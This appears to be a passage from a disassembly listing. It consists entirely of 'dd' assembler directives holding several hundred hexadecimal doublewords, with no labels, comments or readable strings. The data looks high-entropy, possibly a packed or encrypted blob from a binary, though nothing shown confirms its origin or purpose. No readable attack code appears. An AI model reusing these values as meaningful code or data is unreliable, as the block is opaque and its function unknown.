		dd 207D5BCAh, 0DB215F17h, 163D5A5Ch, 0D4004636h, 10414CC7h
		dd 5BF00425h, 0C82D9F3Dh, 9202F72Ch, 26E41333h,	2CB72087h
		dd 4707C761h, 0CBC1B485h, 33E2F3B7h, 101C87CEh,	0E0E3BD50h
		dd 0AC87582Ch, 6E499AC0h, 2D00B139h, 0FD548243h, 0E496B88Dh
		dd 0C47226A5h, 249E114Ch, 854164CEh, 0FCD8C74Eh, 0E17D24E7h
		dd 9A62078Eh, 0A024A1B2h, 0EB1AF094h, 30341434h, 74005CA6h
		dd 73C97A8Ah, 130246B5h, 340306C6h, 0A0348BA6h,	527D2CC0h
		dd 0F9DB16F2h, 37F00135h, 0D12E3FDEh, 754F3130h, 3B8AF09Ch
		dd 0DF65FD00h, 0D5851FFEh, 9B4C01CFh, 0E7CB61D4h, 0BBAC4125h
		dd 0CD9DA8Dh, 89413F1Ah, 750018BEh, 0D48E5DBFh,	0B744113Eh
		dd 0A83A3F01h, 91ECDA96h, 0FECD9C00h, 60D1FD01h, 4F9E8F17h
		dd 97F9860h, 0CB475E85h, 405BA885h, 0E2BF749Ch,	0FF62D05h
		dd 0CCE0A706h, 521980Ch, 8A9C7F82h, 0C9184113h,	393E93D7h
		dd 10A2004Ch, 2546D6EBh, 28F12626h, 924397D8h, 12209B28h
		dd 4267EAh, 0A92E8710h,	64716106h, 93328201h, 0E71E18D0h
		dd 10C4B0A6h, 9E9688D6h, 80739F63h, 46973912h, 5200ACA4h
		dd 556ABCE4h, 94501379h, 0C1D640B0h, 1B008785h,	0F79A287Bh
		dd 0B6F57489h, 0E54E1F54h, 0C5001094h, 3B164519h, 0F561E6Ch
		dd 955810DEh, 62B29600h, 79E7B0C4h, 0A1629EC4h,	3D095F4Ch
		dd 14EC0024h, 711985FFh, 28A00030h, 22F41BB9h, 31138B7Bh
		dd 0BC0BD9DFh, 0F21C10E7h, 0CDD307D4h, 0E6665C06h, 3C1619C4h
		dd 6890B98Dh, 0FE7224h,	56FFD8EAh, 81C93748h, 3108A148h
		dd 8CCD98A6h, 0A7103400h, 0CAECFA50h, 18635A41h, 0C6F0A204h
		dd 0D96986EFh, 2D41A462h, 1ECCE8Bh, 76A30F70h, 7CEB542Bh
		dd 3788875Ch, 0BBA16EB1h, 0B653E0h, 0C642B830h,	10FB56B9h
		dd 0CCEFCF04h, 90C9B20Bh, 0BE3096E8h, 408F4240h, 0F8D89C24h
		dd 0A891E6h, 0F47983A0h, 0C73E1458h, 8A690061h,	4A721916h
		dd 2E7A16B2h, 34648C45h, 781D514Fh, 38223FC2h, 14C4B9h
		dd 1EA7F4E6h, 3AB08B4h,	8DA5A016h, 0E4203005h, 2778409h
		dd 733F1364h, 64010088h, 0E538D275h, 0B78C4900h, 78A768B2h
		dd 5A6B0061h, 5B64101Fh, 34E90CCEh, 3E5C9478h, 30E09824h
		dd 154088EEh, 4422255Fh, 38E429BBh, 9DC6A407h, 33274202h
		dd 0D250A757h, 0D9A922h, 0B2A66E06h, 0F9BD58A1h, 0C03D4D73h
		dd 88AC4486h, 7E3EFB76h, 9C02F36Fh, 5C2D4C2Fh, 0B9385196h
		dd 0BC221C58h, 65F87C00h, 86EB7821h, 0ECD2F03Ah, 3DCA16D5h
		dd 0C198C806h, 0BF3188h, 0C60C62A4h, 0B1F14D1Eh, 7647CF5h
		dd 0A2B9B40Fh, 0F878DCC2h, 0BF5F0160h, 481779A5h, 79AC616Dh
		dd 901F8B68h, 8B87AA50h, 9F5A14E1h, 61B05E19h, 4CCB1038h
		dd 9309C0EFh, 6401362Dh, 208D67F9h, 0CCB6BF00h,	3C0CCD02h
		dd 2F88DAEEh, 0A0106137h, 0F5019281h, 8FD48E40h, 8386EE0h
		dd 416C314Ah, 86CC4C45h, 2B85DD00h, 1A5DBFC6h, 7A1D1EE5h
		dd 0BD4B8002h, 9397C7D2h, 2D9F2C58h, 30E410AAh,	880601F6h
		dd 4EB885F1h, 317051C8h, 2513D2C0h, 744A41D0h, 590020F1h
		dd 3EA3565Fh, 25B4020Dh, 0D122BA74h, 0BE88FCF1h, 0C8F70045h
		dd 285825CDh, 4794870Ch
		dd 7D385140h, 804F5460h, 6A1F0045h, 759AB664h, 24008FC7h
		dd 0F9A2B313h, 0BC41694Ah, 0D03445E0h, 0EF26DE0Ch, 7D0B6090h
		dd 1830ECB2h, 6B06E4h, 0FBB5579Dh, 0C9CFDF8Ch, 0AA005A73h
		dd 87496EBh, 0C410A6h, 252F8913h, 0CD0F972Eh, 1FF09FF2h
		dd 0CAB52D0Eh, 1E994020h, 99478EEh, 433A318Ah, 0B30FB86Ch
		dd 60B053D9h, 28FCE63h,	186D00B4h, 37467C34h, 520B4550h
		dd 1807CCB3h, 3FC9789Ch, 8CD13DCDh, 251DF033h, 0F1D60397h
		dd 66B04EF6h, 932F814Dh, 0CDA0A2D8h, 5A9CE409h,	0BD7441CEh
		dd 206AE527h, 7B2CEE48h, 0B4605C0Eh, 0B06294C5h, 49E23EF6h
		dd 48D8B281h, 0EC8A5008h, 7CFD758Fh, 18B2A590h,	0D3770C00h
		dd 55169D27h, 981B8000h, 94E3DB63h, 0CD2C2CB0h,	5836400Ch
		dd 6D4B6787h, 6A01FFBCh, 262FD71Fh, 6CB1D5CDh, 23F2DB8h
		dd 0C0B616B0h, 4B4B5E0h, 321725BAh, 489CA81Fh, 57207654h
		dd 44E6483Dh, 6825CB81h, 604CFC79h, 16EFC500h, 0B285B0B5h
		dd 17F178C4h, 1187CAh, 305C2A44h, 451C9328h, 0ED32518h
		dd 36D50403h, 402FC00Ah, 0D071C120h, 30B71934h,	5F134650h
		dd 408812CDh, 0A438C00Fh, 6B089F17h, 60394E09h,	0BE2C5181h
		dd 8CA113AFh, 4A2C5BDh,	205F8482h, 0C3D86256h, 0D4765AE8h
		dd 0D2E23Dh, 9FC687F0h,	0E65B59CAh, 5E6F3293h, 0A320A580h
		dd 953243Fh, 30382645h,	0F4E50833h, 8B002E94h, 0B93AF0FDh
		dd 19419h, 0F940B811h, 0CA75BD47h, 9E054575h, 0FCE0B787h
		dd 0E8E2D8D4h, 2B424100h, 0C725CFEDh, 36F66000h, 6E27EADBh
		dd 6C2250Dh, 52866004h,	47559408h, 348748C8h, 0C48A0B9h
		dd 9B1948E7h, 23A14700h, 0A45FBB0Ah, 3D802536h,	0CE58144Ch
		dd 6F188000h, 70C8630h,	0EB8917BAh, 0B187A2C2h,	2CC59C41h
		dd 0DAA3023Ch, 85C1B0BEh, 88C9CC0h, 647FC4h, 0A7EA5138h
		dd 1D5BED9Ah, 508C7B4Bh, 0BC4C00B9h, 0F86C9B6Eh, 1CFA6197h
		dd 0D8F6FB00h, 4C3515F2h, 2D863A41h, 310E3F00h,	52C778EFh
		dd 4F6C9654h, 0ED053828h, 619ADB00h, 0DAF1F70Dh, 948B3D34h
		dd 64905D76h, 0D0B84BC0h, 0A50BFF75h, 84C737FDh, 0F8C274CDh
		dd 0EFAC5458h, 2CBDC980h, 927CF50Ah, 5419E16Ah,	0A2112000h
		dd 0F4BB17CEh, 0D951273Ch, 83438C83h, 809D48A4h, 718230CCh
		dd 0E8920B73h, 344F2F76h, 9C5BFC08h, 15FDC137h,	7ADBD3Fh
		dd 0FA60DBC0h, 840E0EEDh, 408A99FEh, 23C341FCh,	2C7507A6h
		dd 0B40270C9h, 0F8EA209Bh, 8B0FD5AAh, 0A02AFD86h, 27A916FEh
		dd 0BE8D00B3h, 96FBAF4Dh, 5C00ED7Ah, 0AE46856Dh, 2293559Bh
		dd 99003D3Fh, 9EAAFC8Ah, 0E454CE06h, 44A8B603h,	0BD3320DBh
		dd 0DA0CA370h, 1E9C20BCh, 0A0B1E0B6h, 0DB75907h, 0F024CD00h
		dd 82CE3F02h, 33A0EF83h, 86A854E4h, 9F177DF3h, 0A421A464h
		dd 1D084547h, 760175FCh, 0C15F017Bh, 0DC20ACA7h, 2CD87C77h
		dd 3DD8D0C9h, 37278F20h, 0CE94A0BDh, 36124E1h, 4D4B63B6h
		dd 5BC05F97h, 465CDA93h, 422EC8D4h, 90610E41h, 48D42DD2h
		dd 12B12210h, 0E967E3Fh, 0FB244100h, 24F245h, 26351170h
		dd 3D7F283Dh, 0E487EFE3h, 0B98A9E91h, 8C1E019h,	0EC435041h
		dd 4FA8BE95h, 0FD4000F1h, 0E90DB09Ch, 13881783h, 27740CDDh
		dd 0CE123E49h, 0C8B4D311h, 80E8B4F6h, 19408621h, 0A7903443h
		dd 4440274Fh, 0CEEE3653h, 0C80300B3h, 641CF508h, 5FF4B760h
		dd 451D44B8h, 46178359h, 7763E0C8h, 21F4008Ch, 0A7DB49FAh
		dd 8509D164h, 9E48675h,	127061DCh, 5AC54D2h, 31D8AB38h
		dd 8870BA0h, 0A899F6h, 2485186Eh, 0B20BAFF4h, 6CA630h
		dd 61A5E870h, 3B27049Fh, 0C09EF244h, 91745FABh,	0BC28091Ah
		dd 12A0CE1Ch, 3044152Dh, 36317BA4h, 0F0645Ch, 152E9D5Eh
		dd 0C093BD48h, 7A044621h, 0D190C2E8h, 0DF13990Eh, 0C629E487h
		dd 504C6C83h, 1275CE61h, 214093C3h, 6809707Ch, 988A772Ch
		dd 976338h, 266227D9h, 1F356B68h, 0DE37BB12h, 910C88h
		dd 866F8B73h, 82A2F2A3h, 4DA65CB1h, 80307C0Eh, 0B7DBA48h
		dd 845B0035h, 0CE86324Bh, 265C92B6h, 0C1488038h, 0F41DF1AFh
		dd 1E98041Ah, 0E8C60577h, 0E8870022h, 3017F708h, 0AFF93E25h
		dd 78188BAFh, 0AB1C31B0h, 0CECA80E4h, 4449E024h, 6F170228h
		dd 5901974Fh, 4109C0C6h, 79C6BD6Eh, 87190B24h, 5250CC24h
		dd 0AFA5DC30h, 0B0AB00ADh, 0D4AA213Ch, 4016E60Fh, 68818406h
		dd 5520D9C3h, 26A89023h, 43BC8564h, 51783C93h, 0CD253813h
		dd 9939B890h, 0C78000F7h, 0C4E849DEh, 91797614h, 3F254701h
		dd 308AA02Eh, 3E00886Dh, 78A9E828h, 0A50351C6h,	0CE3F6C5Eh
		dd 0A7210069h, 0DE6472FBh, 4A00026Eh, 32763053h, 1D44E57h
		dd 318D349Ch, 70D2D0FEh, 0BD093610h, 0D396328Ah, 5B3180BCh
		dd 812A0F53h, 0AD372C00h, 38A66F27h, 7C30F509h,	94AF25CAh
		dd 0CCF06C80h, 0B8A99B0Bh, 3DAC29C7h, 1A4877h, 215834B3h
		dd 0D243E1h, 0C8C21B40h, 309E4B41h, 9F42D8A0h, 48C92D4Fh
		dd 82719D6h, 84109531h,	4E13C883h, 0CCE5F5C1h, 180DC60h
		dd 19D21825h, 69C6B4ADh, 223F824Ch, 46E04185h, 50A4E310h
		dd 62079E7Eh, 7CF73D6Bh, 819C12F1h, 914D8F8h, 0A74DFC9Bh
		dd 0B2822CA5h, 42D00044h, 20B25FFDh, 1293EAFCh,	4029783Ah
		dd 2BE330E4h, 74581CCCh, 82C72DCBh, 699A5284h, 3900EBFCh
		dd 4C6BE751h, 24E86691h, 3D7CF682h, 0C00F052h, 0EBF1971Fh
		dd 0F51D4115h, 0EC17F2A7h, 57790403h, 5134B020h, 0C42DF1BBh
		dd 0D77F5CC0h, 0E20197B4h, 2322472Ah, 0DC23D6C7h, 6A67600h
		dd 0E9AD01FAh, 0F4282900h, 96FB091h, 7CBC7797h,	20D24B31h
		dd 982B19C4h, 1288F58h,	5DF4FACAh, 95E06F10h, 0C1E46EC6h
		dd 507BB82h, 94E6E450h,	69FAF01h, 9E2859E6h, 0DD50A180h
		dd 3F13B1B5h, 51E74B01h, 88064757h, 0A0B44BFEh,	4A1ECCF7h
		dd 46408896h, 314F98Ah,	0E41FD7C4h, 86F24580h, 0E6816C99h
		dd 8B9E5211h, 0B18E0C0h, 0C6AD6C83h, 40421404h,	798A92DDh
		dd 9C00B599h, 172A1910h, 38BEA8FCh, 0DEB8B380h,	13F88464h
		dd 0A4CD617Fh, 11988D0Ch, 9D568100h, 0AC88010h,	16148C2h
		dd 5F9E1701h, 32B8A3C9h, 50BC0000h, 0A006CF7Bh,	355500B1h
		dd 9C7092DCh, 0F2160B27h, 0A8601BF3h, 1C0CE33h,	72CCBE09h
		dd 2EDFDEFBh, 201A8C02h, 78C673h, 0B8C6E8ACh, 0FE6642F5h
		dd 364D9B0Fh, 2E9345A7h, 0CE620C5h, 0AF41CB09h,	0C02CA460h
		dd 0D9F71DEh, 0B07E46CAh, 55888D60h, 5DEF3137h,	28E4CDD0h
		dd 0D89416B0h, 33C1C88h, 0C3A70131h, 0BC13C2DDh, 6804077Bh
		dd 40455A15h, 0A30C223h, 20630841h, 6CFD0C80h, 42A305E0h
		dd 0C0AC3046h, 78D5B580h, 5A0C9EDEh, 494ECD52h,	0E56E003Eh
		dd 4FA90F18h, 0B00915B3h, 0DF200B92h, 3C5D0Ah, 9E9521D8h
		dd 0C2093D3Ah, 6E6007CDh, 11EB0624h, 6CC4C9DAh,	0AE3A1900h
		dd 3C99066Eh, 0B03DEDC1h, 0BF0E5680h, 441367DFh, 4001BC9Dh
		dd 1BCE252Fh, 0F5E4C24h, 374C5B33h, 5F437AA0h, 9317D049h
		dd 189C02DBh, 78C50F50h, 0E82095A2h, 0D136D44Fh, 0FDF17207h
		dd 73617105h, 1C684641h, 51380D0Ch, 5B003680h, 172CC3AEh
		dd 5FA89E97h, 0DD387078h, 0B6009D33h, 32D60295h, 9818B7h
		dd 7170EBCEh, 62341BC3h, 0D3952F00h, 3DC5B98Dh,	5F9F008Fh
		dd 59C0A7BFh, 460F7077h, 0A9340447h, 0B9C493D8h, 93F4FE30h
		dd 5F7402EDh, 0F69AC13Dh
		dd 7C5198ABh, 0D62C6C00h, 1AD905h, 8D8B1DA4h, 74ADE6F5h
		dd 220220EEh, 0F4ED5926h, 4A84630h, 5CD0D666h, 4C88B207h
		dd 0DFE6094Bh, 0A0F400ECh, 9DC114A7h, 6180583Bh, 0E41F16E3h
		dd 0A7801D70h, 0CA421CADh, 0C14504E2h, 0C82B9F7Ch, 264EF264h
		dd 0B0309CD3h, 4050B9Ch, 1421ABD5h, 4C748051h, 0BD2F4EAAh
		dd 99C8B889h, 19BF0E10h, 228EDB32h, 8145B0C5h, 6D416A57h
		dd 1292210Ch, 0F22CA41Fh, 5FFC51F0h, 0EC1708B0h, 60048642h
		dd 70D1406Dh, 0F0298FA5h, 0B1561918h, 19C5C0BDh, 4400A83Ch
		dd 0D482D5B7h, 0DC540263h, 0CFE6853Fh, 12E088AFh, 7DAE01C0h
		dd 8AE34F00h, 0A862E7C2h, 1B2D0019h, 0D9455999h, 61C883BDh
		dd 0B938847Dh, 22D4B21Fh, 0D5043C9Ch, 7DF86700h, 0AB91FD1Fh
		dd 46382600h, 0C6E98E6Eh, 0D475000Dh, 2B92EF05h, 0C599D21h
		dd 3D461B84h, 0DE8A92C1h, 85414038h, 544FFD25h,	318F142Ch
		dd 0CD11BB42h, 0AC282A1Eh, 67203C89h, 738017h, 0B8CB7DE6h
		dd 0C41FF0DBh, 0B78F8DD0h, 9D22E56Fh, 28025CC1h, 0D9005C2Dh
		dd 5D19CF77h, 0B10781CBh, 8E01E02Fh, 0E33F20C1h, 475456C6h
		dd 494330E8h, 52392698h, 210D85Eh, 8F3CF423h, 0B4D2B9h
		dd 1AC314DAh, 1CDD181Dh, 0A8BDDB3Dh, 5230B0B2h,	6D2BD9A6h
		dd 949234CCh, 388C4A20h, 0B6370093h, 0A2C22F68h, 5EFBCE1Fh
		dd 5A6B1E81h, 0FC48A79Dh, 8746140Ch, 7A8F11h, 940E66EDh
		dd 9EA91857h, 0C2431E01h, 0C05EBD33h, 4521F079h, 7C417500h
		dd 9EB057Dh, 0B252C978h, 961E08C4h, 0B781793Eh,	33015F42h
		dd 116C70h, 3F46C944h, 4FA11015h, 1725FE05h, 4B2485Fh
		dd 7A80A239h, 9C093E1Dh, 0A40003BAh, 0DEAA1646h, 7ECE6337h
		dd 88C082C2h, 0D780C4CFh, 6410245h, 0AB4E828Ch,	0D9EC38F1h
		dd 0C80B5ACDh, 1D8CD854h, 0CB440D67h, 387ABD32h, 1578A214h
		dd 20251588h, 0B1840074h, 0C97ADD0h, 1EA30A4Dh,	28B45B03h
		dd 0AF58B4BCh, 2ECB7C90h, 62F13800h, 9E8E1863h,	0B7227C7Eh
		dd 5A364010h, 1A40D901h, 9B945B15h, 0DC48A093h,	5703C9F0h
		dd 98C7B1D0h, 9A5AB9B4h, 411D7C26h, 11CC8973h, 42442079h
		dd 0A02927C0h, 179200ECh, 0CF313F65h, 1D1283A8h, 98324693h
		dd 23001605h, 9A7A5092h, 0DACAB9h, 0D0563857h, 5CF78A04h
		dd 0FB039F02h, 0F642E12Eh, 5EE34E3Ch, 72A9151Ch, 0E789E858h
		dd 0A0731F1Fh, 14F73141h, 48CC8D0Fh, 10A2020Eh,	0A79315EDh
		dd 0CCA52080h, 34C0DD78h, 8ACA6CF1h, 7796079Bh,	70618B08h
		dd 4D868DEBh, 2F3A410Bh, 9B6C9845h, 5ABA007Bh, 26333D76h
		dd 7801F23Bh, 1A071B27h, 841471E1h, 45982C10h, 0DD919600h
		dd 14A5D525h, 7FAF003Ah, 0AAC349BEh, 40028713h,	7DBD4634h
		dd 9E4440C8h, 0FA3F7483h, 0CD60A0A8h, 6FF50065h, 0AA2B08C5h
		dd 76797F89h, 0DC1E020Fh, 6B3A8F85h, 4C50985Bh,	2240E08h
		dd 0AF606B3Bh, 0E32799BFh, 2317F3Fh, 2FE95F47h,	1D8441B2h
		dd 4D24D43Dh, 4F6300B0h, 45D275BDh, 380A0C93h, 0F43BCC2Bh
		dd 771C90B7h, 66871214h, 5F9CCC01h, 3D1E413Dh, 3F537FA8h
		dd 0C7AE1EA8h, 39F4803Ch, 11A4B267h, 9BD102FCh,	45E6A73Bh
		dd 7EC08327h, 0B48C9FAh, 309D5F46h, 0B0CC5405h,	4484E25Ch
		dd 406C08Ah, 0B2FE4AB5h, 4C1807F0h, 214DABD8h, 3B08CD7Fh
		dd 193D8022h, 278080Ah,	4A1D3797h, 98FE3FBFh, 3DCE5240h
		dd 0A33509B0h, 88E8A89Ch, 0C01E0EDFh, 7A022Bh, 88D922B2h
		dd 0F7AD24h, 37EE109Fh,	0F6AFDA19h, 695C9E5Ch, 4EB80138h
		dd 227A96BFh, 9CA1C798h, 0F869E566h, 93002A5Eh,	1EA212DDh
		dd 947778BDh, 0BB348288h, 0CE42822h, 0E8CD7000h, 0B7BCA884h
		dd 0D35000B0h, 0CE9D349Ch, 0ACBA395Ch, 0BD007890h, 86F87725h
		dd 7C5A90E7h, 9E272245h, 70DC1B07h, 2A9050C5h, 0E0F3B52Eh
		dd 0FC5500A0h, 0AA779869h, 653825D8h, 86D02746h, 0BF40BCF4h
		dd 182930B0h, 74768F01h, 45588E97h, 9F9D1878h, 616780B6h
		dd 332B7E54h, 4EBA0302h, 0F49F9BC6h, 2E7BC068h,	422F282Ah
		dd 0B7FED4h, 71FEE2Fh, 589635F7h, 80842614h, 669D8815h
		dd 4C3001E2h, 2DB3C8FEh, 68142BD6h, 618EC014h, 1EB9B80h
		dd 21EFCE8Bh, 0E44F4930h, 0BC025E73h, 0CC2E86BDh, 1C87425h
		dd 5C378CF8h, 0CAD7C08Fh, 0E794F10Ch, 18118D2h,	25C715F7h
		dd 0FC6DD09Ah, 4930BF56h, 0E92C280Bh, 89358821h, 88007375h
		dd 0A35208A1h, 1F7679D1h, 74EA539h, 650D4601h, 878E00B8h
		dd 0C92C17DDh, 78017D7Dh, 0C8767CD8h, 85D52B81h, 1BF8DAECh
		dd 61D6FEF9h, 4CFF74E3h, 11E9FB19h, 1E1FA57h, 19781452h
		dd 8DB0802h, 0D0E8F78Bh, 62B3F280h, 3025032h, 28C27A12h
		dd 0B9885C2Bh, 0F420C0A0h, 0D5DA00FBh, 7469B066h, 4B98D92Ah
		dd 0E9188061h, 61807C7Ah, 2A4A8F61h, 1FF89A87h,	19D99431h
		dd 49BCF3F4h, 177DEA80h, 5EB1D1D5h, 0EF01100h, 722FAA1h
		dd 1974FACFh, 31E6F589h, 8E8470BCh, 5F719D00h, 0C130A2C8h
		dd 393E2A4h, 0C23A2392h, 0D1001CE8h, 0C10A1B7Ah, 50ADC8B9h
		dd 1840A8B4h, 51EDF56Ch, 6A3D3C14h, 916880A0h, 0D2CB25E5h
		dd 0F24D0F1Dh, 3EA01735h, 8840F4C1h, 0CF8F30C5h, 3AC7A440h
		dd 0C356C5h, 0B8A13B11h, 7DB45EDDh, 71DC9100h, 6F8CB00Bh
		dd 0F4D518DEh, 0BA8271F2h, 50F63700h, 5769E2C1h, 346C0033h
		dd 40D36F10h, 817493F5h, 87A3F115h, 809938A4h, 3ED78412h
		dd 0EA7BDC2h, 0E8D4F9C6h, 0AFC8E958h, 433639h, 5D4234A5h
		dd 0C37ED191h, 97012C40h, 6F8F0BD0h, 0C1DEF9F8h, 56D02241h
		dd 1EF4D990h, 0E1490372h, 0ED06794Ch, 6B322AF0h, 31FB9130h
		dd 0F5EB7Ah, 0ABA0DD49h, 0A874160Ch, 27193300h,	0CA241ED8h
		dd 4CEE037Ch, 8B3E5E71h, 0A218380Ch, 0ADC985h, 813DD9Fh
		dd 833DBB96h, 0A0053F6h, 0B21B4F12h, 0E0907D77h, 22549280h
		dd 0D8862205h, 0FC0DAB00h, 3365D3E2h, 5A3E00BAh, 0BF884448h
		dd 0BD703753h, 3C561700h, 9F596087h, 45F015Dh, 62FFF9F1h
		dd 0FA5191F7h, 450AF300h, 0D284EB07h, 2B041000h, 7F8E5DCAh
		dd 825E125Fh, 37C0449Fh, 0D40644D2h, 49FBF546h,	74038090h
		dd 531C88C4h, 0FD2810D5h, 83F2880Ch, 5E44EDA7h,	0EAEF6AF0h
		dd 3C596326h, 0E776FF02h, 0EB18B3AAh, 3198B8B3h, 431B07C0h
		dd 0F43C2Fh, 54719AADh,	53C1DA89h, 60C0F903h, 19C0ECF1h
		dd 0D34D989h, 135B0003h, 75115006h, 0B5F2FAEFh,	1C006EF2h
		dd 2A1964E8h, 2787F37h,	186CC2A2h, 0DCA17B52h, 0A0DF5C82h
		dd 6D45E851h, 4C34E8h, 0E48D1BE2h, 0A0FDB0AAh, 2961000h
		dd 0A6BFE7ABh, 0CF2A0240h, 7678E9B6h, 0ED552882h, 30888F24h
		dd 0DDB5008Bh, 8A69D4B2h, 0D878497Fh, 1E0FAE03h, 0EE19907Bh
		dd 0FD8700E0h, 829FE95Bh, 34912C5Eh, 0AF604401h, 0C3C09C55h
		dd 2B370A3Eh, 13C817D6h, 0FC880E29h, 7A0CE0BCh,	917F1FF2h
		dd 98F60901h, 7098412Ah, 77095240h, 77468B4h, 0A9EC8F7Ah
		dd 0D52C008Eh, 0DC5AA9BEh, 4D010458h, 0CCF72256h, 918A4FF4h
		dd 67A01DE9h, 0FF8C4850h, 88CE5178h, 0CA007FFAh, 4DDCE18Dh
		dd 0E443ECFh, 0C0BC62DFh, 100840A0h, 741265EFh,	0A860D561h
		dd 127547h, 0BC6B381Eh,	8A17B063h, 92012104h, 0B4C209DDh
		dd 68488F22h, 2A1BBE7Ah, 2BC01978h, 0FC0A1307h,	905E832Ch
		dd 24C10DBEh, 0C5D0D961h, 32D40017h, 0A2B0BDDh,	2604DA5Dh
		dd 8C6E7F45h, 818E9480h
		dd 0E9C960E8h, 0BA275D4h, 0F1F7B20Bh, 10D302DFh, 0FBA841DEh
		dd 607B0170h, 3F9481FAh, 79C0EEF4h, 0ADDD9921h,	2035012Ch
		dd 0A555AEE0h, 349020E5h, 9EF7DC3Eh, 57C0872Fh,	0A2217397h
		dd 6DD9C182h, 0C8892004h, 8000F418h, 0FB8398F0h, 9317ADD2h
		dd 0E8742890h, 105F5813h, 7A41B402h, 84C4192Ah,	91F4F530h
		dd 998213h, 0B7D171A2h,	0C7BCA321h, 0F8189500h,	741AC50Ah
		dd 67C0BCFh, 0B810E758h, 0A1004393h, 0B12E892Ch, 6434ACDEh
		dd 90320A3h, 3A8010F4h,	3776008Eh, 2918B4BCh, 0D300CF33h
		dd 0FF2CB611h, 0B020A259h, 7AF22991h, 0D3E80CFCh, 0A500D169h
		dd 0BC08F0A6h, 0C72FE742h, 0C03D9719h, 0A19C11C8h, 0F69B6300h
		dd 0E5FF1068h, 0C70E2D6h, 0DA885EF7h, 0DF6002C8h, 0F1B15A39h
		dd 112A60E9h, 8044C204h, 89A48316h, 0BB03531Fh,	0DF5F7DE5h
		dd 20A9700h, 20254C50h,	6E792D00h, 0E2A418B0h, 7D87C91Eh
		dd 5C609700h, 0E444B8A9h, 3F8293Dh, 732B09B4h, 9EFF4418h
		dd 7FC040Ch, 93C221DDh,	1DF10078h, 49FB2E2Dh, 0CC0E9C00h
		dd 0AD75BAE3h, 9319287Ch, 17BE12ECh, 74580078h,	828FD13Bh
		dd 0F65061C0h, 11FA73Fh, 0EFF7EC4Ch, 60F41195h,	12E74A0Ch
		dd 0D04620F3h, 0CF00BF30h, 0BDFCB03Ch, 3C0BB6EBh, 29A4C5E7h
		dd 0D92D09A8h, 8E09091h, 0A26351ACh, 0A93E118Fh, 35EF4260h
		dd 0F89D5901h, 3B5705C7h, 0A659EF3h, 1278FAC0h,	0D5170AC1h
		dd 8FC60508h, 2C3C9139h, 4320D6E9h, 703BFFFBh, 0E7EF29DBh
		dd 3C3700D8h, 90551772h, 13383E74h, 315C00B0h, 925F7C4Fh
		dd 7C874C3Bh, 392CE886h, 0EEC84D00h, 3F530469h,	0ED5100D3h
		dd 0A8EF1B31h, 0B715D5F8h, 1CA4F58Fh, 0A3405C2Ch, 0B2578302h
		dd 6010982Ah, 4C4B875h,	789971B6h, 845D0B85h, 20881C92h
		dd 0F61FE780h, 0D174BB04h, 1CC9E90Eh, 1E567EF8h, 80753C69h
		dd 5B65C7C6h, 2C007CE5h, 0F89A5C2Bh, 12565F72h,	44FD8695h
		dd 46200318h, 779E7F5h,	0B0D33460h, 955EC0D1h, 0DC0020B4h
		dd 0CE7A295Bh, 4C2B60C9h, 91000432h, 5C7513D6h,	5CA0F15Fh
		dd 0E83C0A1Eh, 899C0051h, 5FED6E7Ah, 9B780079h,	12C41FAFh
		dd 174C0D0Ch, 9FD9600Eh, 611953h, 0CC4E27C6h, 6C3FD012h
		dd 5A267900h, 6E2AC92Ch, 9EC494F1h, 0F57122FCh,	0BCF779C0h
		dd 7BD0E8E3h, 3ABE0012h, 0A50EB4FCh, 0E89405F8h, 0FC326E44h
		dd 25245510h, 4898D887h, 1B5DFD94h, 0F6A61A48h,	36B26341h
		dd 4620EF41h, 49C13DE2h, 6C407DC1h, 9AA94020h, 602B739Ch
		dd 0AAC021D7h, 2C002441h, 692DC129h, 0B775EAh, 0B651F267h
		dd 7E08767Ch, 0E5E13CB0h, 81E802D9h, 0A05CA660h, 14D3CD0h
		dd 442885E3h, 2949830Ah, 0F88F18F4h, 6210A1h, 0CC4FE5DEh
		dd 6DE7BA5Ah, 2C882B3Ch, 0F71728C3h, 91C9D04Eh,	0BDD0311h
		dd 90118FC5h, 8836FADCh, 0E494917Ah, 4B459780h,	0E2415C2h
		dd 211BF43Dh, 0F0020B47h, 76BB9D5h, 0A322F313h,	1A134421h
		dd 0D92E60h, 0FDBF69ACh, 6133AEE6h, 12B0DA48h, 80325E71h
		dd 707C4496h, 0E2EC0E43h, 1D834701h, 0F9C193FFh, 0C0042206h
		dd 0A1557E75h, 0AE600388h, 99F8341Bh, 7489EAF9h, 100FCF8h
		dd 0D7B66A0Fh, 0E8B0E8F7h, 3B2F006h, 0A55B8753h, 0B19B82D8h
		dd 3A7D1800h, 0C36CF5A9h, 396F6752h, 50C2A11Eh,	0E624410Ah
		dd 5FC311BBh, 8B1900D3h, 8A2BA5ACh, 0B706CD94h,	0D6395B1Ch
		dd 0FBA0F021h, 0C601A170h, 39F23E10h, 0D633E500h, 1C8A8C79h
		dd 9139004Bh, 4E572106h, 48EC04A0h, 0CF5B6C02h,	1158C36Eh
		dd 800EB29h, 0D8EBF06h,	1EBD36h, 599E966Ch, 0AE07B556h
		dd 2A65A0Ch, 3CB1F7h, 5D4457F1h, 0CEE3337Ah, 0F8F53000h
		dd 9B75C4AFh, 8AB0004Eh, 0A75D1012h, 6F001667h,	0A39183D3h
		dd 0DB375Bh, 11890377h,	0DE2580B2h, 130781FEh, 5EDAA598h
		dd 6B9A3FC1h, 5B199882h, 8090D24Fh, 58D88AA5h, 0C0DA99C8h
		dd 0A6E37019h, 1C00BB67h, 0BFADF011h, 0C75B969Ah, 41FBD580h
		dd 8AD9996Fh, 8ACBCE31h, 85160Bh, 9F832B1Bh, 823038FDh
		dd 2FBB1Dh, 0F7D4C1F4h,	286314EDh, 4C29938h, 0DE16A941h
		dd 25A28047h, 721E3640h, 5780DF2Fh, 0C8B52E1Ah,	96A70AEBh
		dd 80B06228h, 0E47B83EAh, 35796907h, 0A8CF012Ah, 10C17E00h
		dd 198F9622h, 0FBD40A18h, 39908A39h, 52C6738Ch,	0A107D779h
		dd 0BA5F0472h, 80D8B180h, 8A61C36Dh, 7C986896h,	50F16004h
		dd 0A4311CA0h, 59C369C3h, 0A6490DF9h, 0E1D92764h, 4C223Fh
		dd 0A801E330h, 74E6AE0Ch, 0CFFA06B3h, 0CA78A08Fh, 715E2D30h
		dd 4026AAh, 38FFCD2Eh, 526D2A71h, 870C2300h, 0AF93BC55h
		dd 8C510096h, 41D72130h, 5F03D909h, 0AE3F047Fh,	64D11276h
		dd 80702024h, 0B5E63EBBh, 0C28BA00Eh, 771158h, 13571B1Ah
		dd 8AB72F27h, 0C7BDAE09h, 1601088h, 5E9C1CDh, 0F47928E9h
